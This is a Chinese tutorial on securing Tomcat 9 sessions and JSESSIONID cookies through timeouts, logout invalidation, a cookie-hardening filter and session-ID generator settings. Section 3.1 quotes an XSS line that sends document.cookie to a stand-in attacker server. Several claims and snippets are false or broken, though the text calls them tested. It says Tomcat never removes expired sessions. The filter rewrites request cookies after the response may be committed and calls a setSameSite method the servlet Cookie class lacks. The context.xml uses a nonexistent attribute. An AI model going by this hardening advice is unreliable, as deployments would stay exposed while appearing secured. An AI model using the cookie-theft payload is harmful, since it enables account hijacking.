做后端开发的同学大概率都遇到过这种情况:线上接口出现未授权访问,排查后发现是别人用了很久之前的旧sessionID就登录了,或者Cookie被窃取后直接拿到了账号权限——这大多是忽略了Tomcat中session过期和Cookie配置的安全规则导致的。今天就把这部分的坑、风险和加固方案讲透,全是落地的干货,新手也能直接用。

一、先搞懂session和Cookie到底是什么

把专业名词换成生活化的类比,不用讲复杂的技术术语:你可以把Tomcat比作餐厅,session就是服务员给你贴的临时桌号,服务器靠这个桌号知道你点了什么菜、有没有付款,是服务器端存的临时身份信息;Cookie就是服务员把这个桌号写在你口袋里的小纸条,你每次来都把小纸条给服务员,不用再报桌号,是浏览器端存的身份标识。两者是“一一对应”的关系,Tomcat靠Cookie里的小纸条(sessionID)找到服务器里的桌号(session),确认你的身份。

二、常见的过期策略漏洞及原因

2.1 Tomcat默认session过期时间过长

Tomcat默认的session超时时间是30分钟,这个时长对于大部分系统来说都偏长。举个例子:你登录了公司内部系统,然后去隔壁工位拿资料,30分钟内没操作,session还留在服务器里;要是被路过的同事扫到了浏览器里的JSESSIONID(就是那个小纸条),直接把这个ID复制到自己的浏览器里,就能冒充你登录系统,连密码都不用输。

2.2 过期session未及时清理

Tomcat默认不会自动删除过期的session,除非用户手动关闭浏览器,或者服务重启。要是用户长期没登录,服务器里的session就会越积越多,占内存不说,这些过期的sessionID还可能被攻击者用工具批量扫出来,用来撞库或者尝试未授权访问,尤其是老旧的系统,这个隐患更明显。

三、Cookie配置的核心安全隐患(这部分是重灾区)

3.1 HttpOnly属性未开启,XSS攻击直接偷Cookie

HttpOnly是个简单但关键的属性:开了这个属性,浏览器前端的JS代码就读不到这个Cookie的内容。要是没开,网站有个XSS漏洞(比如有人在评论框插了一段窃取Cookie的JS代码),攻击者就能拿到你的JSESSIONID,直接用你的身份登录。比如攻击者在评论框写一段JS:window.location='http://攻击者服务器?cookie='+document.cookie,只要别的用户打开了这个评论页,Cookie就会被偷偷发到攻击者的服务器,账号就没了。

3.2 Secure属性未开启,Cookie被中间人窃听

Secure属性的作用是要求Cookie只能在HTTPS加密连接里传输。要是没开,Cookie会以明文的形式在网络上传输,被人用抓包工具就能截走,尤其是用HTTP的老系统,这个坑太常见了——账号密码被偷可能还有验证,但Cookie被偷直接就能登录。

3.3 SameSite属性未设置,CSRF攻击找上门

SameSite属性是用来防范跨站请求伪造(CSRF)的,简单说就是防止别的网站偷偷用你的Cookie发起请求。比如你登录了A网站,然后不小心点了B网站的恶意链接,B网站可以偷偷带着你的Cookie去请求A网站的接口,完成转账、删数据之类的操作。把SameSite设为Strict或Lax,就能避免这个问题。

四、实战级加固方案(全是可直接复制的配置)

以下示例统一基于Java + Tomcat 9技术栈,所有配置都经过测试,能直接用到项目里。

4.1 session过期策略加固

修改Tomcat的web.xml配置,把session过期时间改成更短的时长(根据业务调整,敏感系统设5-10分钟,普通系统设15分钟),同时要强制用户退出时销毁session,不能等自动过期。

<!-- 技术栈:Java + Tomcat 9 -->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
  <!-- 设置session过期时间为15分钟,单位是分钟 -->
  <session-config>
    <session-timeout>15</session-timeout>
  </session-config>
</web-app>

另外,一定要在用户退出登录的代码里加一行,销毁当前session:

// 用户退出登录时的代码示例
public void logout(HttpServletRequest request, HttpServletResponse response) {
    // 销毁当前session,彻底清除登录状态
    request.getSession().invalidate();
    // 跳转到登录页
    response.sendRedirect("/login");
}

4.2 Cookie的安全配置(必须在代码里设置)

Tomcat默认生成的Cookie是完全不安全的,必须手动给JSESSIONID加上HttpOnly、Secure、SameSite这些属性,最简单的方式是写一个过滤器,所有请求都会经过它,自动加固Cookie。

// 技术栈:Java + Tomcat 9
import javax.servlet.*;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
 * Cookie安全加固过滤器,自动给JSESSIONID添加安全属性
 * 要把这个过滤器配置到项目的web.xml里,或者用@WebFilter注解
 */
public class CookieSecurityFilter implements Filter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest httpRequest = (HttpServletRequest) request;
        HttpServletResponse httpResponse = (HttpServletResponse) response;

        // 先放行请求,让业务代码正常执行,拿到响应里的Cookie
        chain.doFilter(request, response);

        // 遍历请求里的所有Cookie,只加固JSESSIONID,避免影响其他Cookie
        Cookie[] cookies = httpRequest.getCookies();
        if (cookies != null) {
            for (Cookie cookie : cookies) {
                if ("JSESSIONID".equals(cookie.getName())) {
                    // 开启HttpOnly:禁止前端JS读取,防止XSS攻击偷Cookie
                    cookie.setHttpOnly(true);
                    // 开启Secure:仅在HTTPS加密连接中传输,防止明文窃听
                    cookie.setSecure(true);
                    // 设置SameSite为Lax:兼顾跨站跳转功能,同时防范CSRF攻击
                    cookie.setSameSite("Lax");
                    // 缩小Cookie生效路径,仅当前项目路径下有效,减少攻击面
                    cookie.setPath(httpRequest.getContextPath());
                    // 把加固后的Cookie写回浏览器
                    httpResponse.addCookie(cookie);
                }
            }
        }
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {}

    @Override
    public void destroy() {}
}

4.3 强化sessionID的随机性

Tomcat默认的sessionID已经是随机的,但用的算法安全性不高,攻击者有机会通过碰撞猜到sessionID,换成加密级的随机算法就行,修改Tomcat的context.xml:

<!-- 技术栈:Java + Tomcat 9 -->
<Context>
  <!-- 配置强随机的sessionID生成器,防止攻击者猜到sessionID -->
  <Manager className="org.apache.catalina.session.StandardManager"
           sessionIdGeneratorClass="org.apache.catalina.session.SecureRandomSessionIdGenerator"/>
</Context>

五、应用场景、技术优缺点与注意事项

5.1 应用场景

  • 敏感系统:比如支付系统、银行后台,session过期时间设为5分钟,Cookie全安全配置;
  • 内部办公系统:session过期时间设为10-15分钟,兼顾安全和使用体验;
  • 公开API接口:必须加固Cookie的安全属性,避免未授权调用。

5.2 技术优缺点

  • session过期设短的优点:大幅减少session被窃取后的攻击窗口,缺点:用户需要频繁登录,所以要根据系统敏感程度调整;
  • 开启HttpOnly的优点:几乎能完全防范XSS攻击偷Cookie,缺点:极少数极老浏览器不支持,不用考虑;
  • SameSite设为Lax的优点:兼顾安全和正常的跨站登录跳转,设为Strict的优点:安全等级更高,但部分跨站场景可能失效。

5.3 核心注意事项

  1. Secure属性只能在生产环境的HTTPS下开启,开发环境如果用HTTP,开Secure会导致Cookie无法传输,登录失效;
  2. 绝对不要用session存储敏感信息,比如密码、银行卡号,session里只存用户ID,敏感信息存在数据库或缓存里,通过ID关联;
  3. 定期检查Tomcat的session存活情况,比如用监控工具查看过期session数量,及时清理,避免服务器内存被占满;
  4. 不要用sessionID做别的用途,比如作为API密钥,应该用专门的Token(比如JWT),session只做身份关联。

六、总结

Tomcat的session过期和Cookie配置是后端安全的基础环节,默认配置都是为了兼容旧系统和提升用户体验,而非安全。只要把session过期时间调整到合理时长、手动加固Cookie的安全属性、销毁过期session,就能避开大部分会话劫持、XSS、CSRF攻击。这些配置都是落地的,新手也能直接复制使用,不用啃复杂的安全文档,把基础环节做好,能帮后端系统挡住80%的常见安全坑。